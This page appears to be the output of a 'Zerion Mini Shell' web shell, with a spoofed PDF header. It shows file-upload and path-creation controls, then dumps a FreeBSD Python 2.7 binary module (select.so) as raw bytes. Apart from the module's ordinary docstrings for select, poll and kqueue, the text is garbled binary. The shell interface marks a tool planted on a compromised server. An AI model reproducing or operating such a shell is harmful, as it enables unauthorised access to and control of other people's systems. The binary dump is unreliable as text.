%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/lib-dynload/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/lib-dynload/select.so

ELF	>8@f@8
@@@@00(((88 ! !IiiHH L | |JjjRtdIiiHHPtd$$$$$$QtdpppFreeBSD
 !"0A]o
 0EWes1OZg"/AR_ky-4;@HVV"
09O(zY(zbGGJJ<':9D/=0B#+G*E!>AI;2-5C?)@
H"4&%,$F38	(.
167 _fini_init_Jv_RegisterClasses__cxa_finalizePyArg_ParseTuplePyArg_ParseTupleAndKeywordsPyArg_UnpackTuplePyBool_FromLongPyDict_DelItemPyDict_GetItemPyDict_NewPyDict_NextPyDict_SetItemPyDict_SizePyErr_FormatPyErr_NewExceptionPyErr_NoMemoryPyErr_OccurredPyErr_SetFromErrnoPyErr_SetStringPyEval_RestoreThreadPyEval_SaveThreadPyExc_IOErrorPyExc_OSErrorPyExc_OverflowErrorPyExc_RuntimeErrorPyExc_TypeErrorPyExc_ValueErrorPyFloat_AsDoublePyInt_AsLongPyInt_AsUnsignedLongMaskPyInt_FromLongPyList_NewPyList_SetItemPyLong_AsUnsignedLongPyLong_AsUnsignedLongLongMaskPyMem_FreePyMem_MallocPyModule_AddIntConstantPyModule_AddObjectPyNumber_CheckPyNumber_IntPyOS_snprintfPyObject_AsFileDescriptorPyObject_FreePyObject_SizePySequence_FastPyString_FromStringPyTuple_NewPyTuple_PackPyType_GenericNewPyType_IsSubtypePyType_ReadyPyType_TypePy_FindMethodPy_InitModule4_64_PyInt_AsInt_PyObject_New_Py_NoneStruct_Py_NotImplementedStruct_Py_TrueStruct_Py_ZeroStruct__error__stack_chk_fail__stack_chk_guardclosefreeinitselectkeventkqueuepollreallocselectlibc.so.7FBSD_1.0FBSD_1.5/usr/local/lib:/usr/local/liblibthr.so.3libpython2.7.so.1i9 | |0|"8|=H|P|!X|Bh|Ѕ`}x}D} E~\"(KpL`MpPN@P NPX@Ehp x`F`G!0HȆ@#ȌWi@5"h #ȍWЍ؍i5"  `Op0P"ȏP؏@"P R#(U8kkklkkkkk1k4k9k:l;l<k?X`h6px&%3'FȓГؓ0>8	-* A +(508@HP=X`(h7pDx/E
!).2ȔДؔ"@,C
$B#.AeAC1/.//$///O|hHILK:keventPOLLINPOLLOUTKQ_NOTE_PDATAMASKunregisterkqueueKQ_FILTER_VNODEKQ_NOTE_LINKKQ_FILTER_PROCflagsKQ_FILTER_TIMERregisterOO&:modifycloseselect.pollselect.kqueueTrue if the kqueue handler is closedKQ_NOTE_CHILDKQ_FILTER_AIOKQ_NOTE_WRITEtimeout must be a float or NonefilterPOLLRDBANDfflagsPOLLHUPKQ_NOTE_LOWATchangelist is too longPOLLPRIKQ_EV_EOFKQ_NOTE_TRACKERRO|O&:registertimeout must be positive or NoneKQ_NOTE_RENAMEtimeout period too longudatafromfdPOLLWRBANDKQ_FILTER_SIGNALKQ_NOTE_TRACKselect.kqueue doesn't accept argumentsKQ_FILTER_WRITEKQ_NOTE_REVOKEmodifyPython int too large for C unsigned shortconcurrent poll() invocationKQ_EV_DELETEKQ_NOTE_EXTEND<select.kevent ident=%zu filter=%d flags=0x%x fflags=0x%x data=0x%llx udata=%p>Length of eventlist must be 0 or positive, got %dKQ_EV_ENABLEtoo many file descriptors in select()KQ_EV_CLEARKQ_NOTE_DELETEpollfiledescriptor out of range in select()arguments 1-3 must be sequencesKQ_EV_ONESHOTKQ_NOTE_EXECdatai:fromfdPOLLRDNORMKQ_EV_DISABLEselect.keventselect.errorKQ_EV_ERRORPOLLERRKQ_FILTER_READKQ_EV_ADDKQ_EV_FLAG1KQ_NOTE_FORKfilenocontrolerrorselectPIPE_BUFkeventKQ_NOTE_PCTRLMASKOi|O:controlKQ_NOTE_EXITI/O operation on closed kqueue fdchangelist is not iterableclosedPOLLNVALPOLLWRNORMKQ_EV_SYSFLAGSKQ_NOTE_ATTRIBtimeout must be an integer or Noneidenttimeout argument must be an number or None, got %.200schangelist must be an iterable of select.kevent objects;4<\  !<"$#T$|l''L(<),,*\*<+,,,,1\zRx,0AC
CqED,L4AC
NwA$|ZAC
BS,AC
M$hAC
G?AC
Bt AC
N,< AC
MA,l BAC
M+A$0!|AC
Ct,!ZAC
MA$$TAC
BM$$xAC
JdA,DH%AC
FAo,t&AC
KA$&UAC
FE$'AC
CIA,'AC
KA$$((qAC
Ci$L(+AC
HEY,t(AC
MA$8- AC
[UHSPH=2tH=YCtH1f.HHHHrHH[]@UHH=2tH=0t
H=0]+]UHAVSH=H5BHDC1AHKHH=11H[HH5EHHH5@HL52L5CH5HH5HH5cHH5HH5eHxH5: HdH5@HPH5H<H5H(H5HH51H~EH=?DL5@DH$DHDH5'HL5EH=EHsEHkEH5wHH5HH~H5[HHhH5HHRH5-HH<H54HH&H5HHH5HHH5HH50HH5HH5uHH5-HH5 HH5XHnH5{ HZH5hHFH5&@H2H5HH5EH
H5HH5MHH5HH5HH5 HH5@HH5AHxH5@HdH5 HPIpH5HL7H5H#H5HH5HH5H[A^][A^]f.@UHAWAVATSHHL%-I$HEH-H>H>L>H5E1L>L>1SARHH>H;=-tCst\H>sf.u)z'=j=Ht
E1E1kf.xv1H/-H8H5SH$-H8H5y-E1^H,H*\H=YH,H=L=Dž̿DžDž?H>H ?H-H>H>H	AH>H >H?A9AM9MkIH ?H>H >MYL_H ?HDH>H>H*H>H >H?H>H9E1UE11fHH@t2̿x(HHtHDŽHuHGP0Dž̿1
HH@t2x(HHtHDŽHuHGP0Dž1
HH@t2?x(H?HtHDŽ?HuHGP0Dž?I$H;ELH[A\A^A_]H=SE1H>H>H>1IH>HtHuH>HGP0H>HtHuH>HGP0H>H^HTH>HGP0A\f.fUHSPH=;;NHt7H@H@ @(;HCHuHu
HCHP01HH[]fDUHAWAVAUATSHHUHWFpF`FPF@F0F FHuH5QHEHHxAAE1f.fHGJ7fDJHGL(MHIELc=wHHMH	4I teD9DMHMNlqBDqBDqIBDqIHL9{DADHuX1HuNHGP0EH5H5H
(H8IEu
IELP0Hu
HCHP0H[A\A]A^A_]f.@UHAWAVATSHI1~x(HCHcHHHIHʃ8H@y:HtaIǃ{WE1A{H[xAHcCHHIHsHHIcLyIu
IGLP0E1L[A\A^A_]DUHSPHH HtHCHtHuH{HGP0HH[]UHHHH=A]fUHAWAVAUATSHHIL-b&IMHMfEH5MH
1HULEH1bH}HcPHtH}?Ht(II~HH8AHtIt)Ey3FHu@HCHP04HCHP0IuIGLP0ExAFH%H1IEH;EuHH[A\A]A^A_]fUHAWAVAUATSHHIL-B%IMHMH50H
1HULEH1HH}Hc6HHI~H>Ht6}HtDII~HH	AHt;ItEEyObH$H8FHu@HCHP04HCHP0IuIGLP0ExAFHO$H1IEH;EuHH[A\A]A^A_]f.@UHAVSIHt^Hc1HtQHI~H]HHHt$Hu
HCHP0AFH#HHu
HCHP01[A^]@UHAWAVAUATSHHHHL5r#IHMHEH5iE1LEH114H}HH;=0#tVH}HEHtZHAHEHuH}HGP0AtVEx[{(taH"H8H5H"H8H5}
E1IH;EbLHH[A\A]A^A_]
HuA{(u{
H]C(
IHEHx HEpDL
HE@(H}
HcIą[1E1Lef.fHEH@ McDMIfB|tHaILeID$ Jc<
H/IGID$ B|
HIG LeID$L<HH;]sH{L{ !CHcH<tHC H=JzH HHH{ HHE
HC H|HEH{HuHUHM
ItG1L}H}
IL$ H}
IL$ fDI|$HuHUL
HuAD$LL{ 
ILeu
IGLP0I$uID$LP0E1L5@ fDUHSPHB
HtH=sf'%H1HuH H8H51H[]f.fUHAVSH0L5IHEHODGDOGG D$$HHH1HIH;MuH0[A^]
UHAWAVSPAHIH~HB2H9tH562qtqHCI9Gu:CfA9Gu*CfA9Gu$CA9GuHC I9G uHK(1I9O(tAwTDHHcH1Ʌ/HHH[A^A_]1Ʌ1Ʌ1ɅHcH[A^A_]fUHAWAVATSHHL5GIHEHGLOGLWL_L Lg(WGG,G<GLHpH
?LEHHH¸ATAWASARJH t&H}HGHuu	H )HCHIH;Mu
H[A\A^A_]	UHAWAVSPHDEx(CID
y	LHCHH[A^A_]@f.UHAVSHIHt
H
HuHt-H
Ht HH8H5[1H[A^]1L1A0HtIH\
AFHA~xLIu
IFLP0HH8UHAWAVATSHHIL=DIHMH51HUH1VtqDe1L1A0HtZIAtEfEx'LC/H	AFH;EfEyIu
IFLP0HH8#1IH;EuHH[A\A^A_]#UHAVS_x-GIƉ	1ۅyL18x
HCHHVH81[A^]f.DUHx]?HH8H5C1]DUHAWAVAUATSHXL5IHEEHEHEIH1HUHMLEHH1LU̅H}E1H;=bHAH}@f.puzE:EHu7f.XHH8H5/HH8H53	1HH8H5N111H}Ht~H;=trH5
NHtHHELxI9HyH8H5%HfH8HEH@HPH5,111HE}Ht*xHIHu1HE1E1KE1*IHA|$DEL}LHULAHAIcHHE~bEI1HEE1H=+HfCDfCLCT C\0X@P0fH f@HKJ!IM9uH}/L'IH;EHHX[A\A]A^A_]fWf.HH8H5IcH9#LH HH
H]HEL}EHMuEIIHHEE1H*1IfAFfAN AV0A^@HEB\(0BT( fBL(fB(HI@IL9mHALtHHAL0I~H9tH5*XH*HMpHH8H51E1L5H
H821HE1L}
1E1E1LLHtHu
HCHP0H}HHHGP0H,WH*\HEYH,HEH]Hu
HAHP0L5L}H]HEUHy	H7H6H]UHSPHHHHHrHH[]HHHH5=%=@%=h%
=h%=h%<h%<h%<h%<h%<hp%<h`%<h	P%<h
@%<h0%<h %<h
%<h%<h%<h%<h%<h%z<h%r<h%j<h%b<h%Z<hp%R<h`%J<hP%B<h@%:<h0%2<h %*<h%"<h%<h%<h %
<h!%<h"%;h#%;h$%;h%%;h&%;h'p%;h(`%;h)P%;h*@%;h+0%;h, %;h-%;h.%;h/%;h0%;h1%;h2%z;h3%r;h4%j;h5%b;h6%Z;h7p%R;h8`kOh8	o>X@
o@
h
iV
Vox	o
oThis module supports asynchronous I/O on multiple file descriptors.

*** IMPORTANT NOTICE ***
On Windows and OpenVMS, only sockets are supported; on Unix, all file descriptors.0Pselect(rlist, wlist, xlist[, timeout]) -> (rlist, wlist, xlist)

Wait until one or more file descriptors are ready for some kind of I/O.
The first three arguments are sequences of file descriptors to be waited for:
rlist -- wait until ready for reading
wlist -- wait until ready for writing
xlist -- wait for an ``exceptional condition''
If only one kind of condition is required, pass [] for the other lists.
A file descriptor is either a socket or file object, or a small integer
gotten from a fileno() method call on one of those.

The optional 4th argument specifies a timeout in seconds; it may be
a floating point number to specify fractions of seconds.  If it is absent
or None, the call will never time out.

The return value is a tuple of three lists corresponding to the first three
arguments; each contains the subset of the corresponding file descriptors
that are ready.

*** IMPORTANT NOTICE ***
On Windows and OpenVMS, only sockets are supported; on Unix, all file
descriptors can be used.Returns a polling object, which supports registering and
unregistering file descriptors, and then polling them for I/O events.register(fd [, eventmask] ) -> None

Register a file descriptor with the polling object.
fd -- either an integer, or an object with a fileno() method returning an
      int.
events -- an optional bitmask describing the type of events to check formodify(fd, eventmask) -> None

Modify an already registered file descriptor.
fd -- either an integer, or an object with a fileno() method returning an
      int.
events -- an optional bitmask describing the type of events to check forunregister(fd) -> None

Remove a file descriptor being tracked by the polling object.poll( [timeout] ) -> list of (fd, event) 2-tuples

Polls the set of registered file descriptors, returning a list containing 
any descriptors that have events or errors to report.kevent(ident, filter=KQ_FILTER_READ, flags=KQ_EV_ADD, fflags=0, data=0, udata=0)

This object is the equivalent of the struct kevent for the C API.

See the kqueue manpage for more detailed information about the meaning
of the arguments.

One minor note: while you might hope that udata could store a
reference to a python object, it cannot, because it is impossible to
keep a proper reference count of the object once it's passed into the
kernel. Therefore, I have restricted it to only storing an integer.  I
recommend ignoring it and simply using the 'ident' field to key off
of. You could also set up a dictionary on the python side to store a
udata->object mapping.
 (Kqueue syscall wrapper.

For example, to start watching a socket for input:
>>> kq = kqueue()
>>> sock = socket()
>>> sock.connect((host, port))
>>> kq.control([kevent(sock, KQ_FILTER_WRITE, KQ_EV_ADD)], 0)

To wait one second for it to become writeable:
>>> kq.control(None, 1, 1000)

To stop listening:
>>> kq.control([kevent(sock, KQ_FILTER_WRITE, KQ_EV_DELETE)], 0)fromfd(fd) -> kqueue

Create a kqueue object from a given control fd.close() -> None

Close the kqueue control file descriptor. Further operations on the kqueue
object will raise an exception.fileno() -> int

Return the kqueue control file descriptor.control(changelist, max_events[, timeout=None]) -> eventlist

Calls the kernel kevent function.
- changelist must be an iterable of kevent objects describing the changes
  to be made to the kernel's watch list or None.
- max_events lets you specify the maximum number of events that the
  kernel will return.
- timeout is the maximum time to wait in seconds, or else None,
  to wait forever. timeout accepts floats for smaller timeouts, too.jFVVVfVvVVVVVVVVVWW&W6WFWVWfWvWWWWWWWWWXX&X6XFXVXfXvXXXXXXXXXYY&Y6YFYVYfYvYYYYYYFreeBSD clang version 11.0.1 (git@github.com:llvm/llvm-project.git llvmorg-11.0.1-0-g43ff75f2c3fe)Linker: LLD 11.0.1 (FreeBSD llvmorg-11.0.1-0-g43ff75f2c3fe-1300007)$FreeBSD$.shstrtab.note.tag.dynsym.gnu.version.gnu.version_r.gnu.hash.hash.dynstr.rela.dyn.rela.plt.rodata.eh_frame_hdr.eh_frame.text.init.fini.plt.ctors.dtors.jcr.init_array.dynamic.got.data.got.plt.bss.commentppox	x	+o

0:o@
@
(Dh
h
XJRBhh8\BXf2+n$$$$|$$8(\VFVF0V0FiIiIiIiIjJkKx | L@@c  e0 ee

Zerion Mini Shell 1.0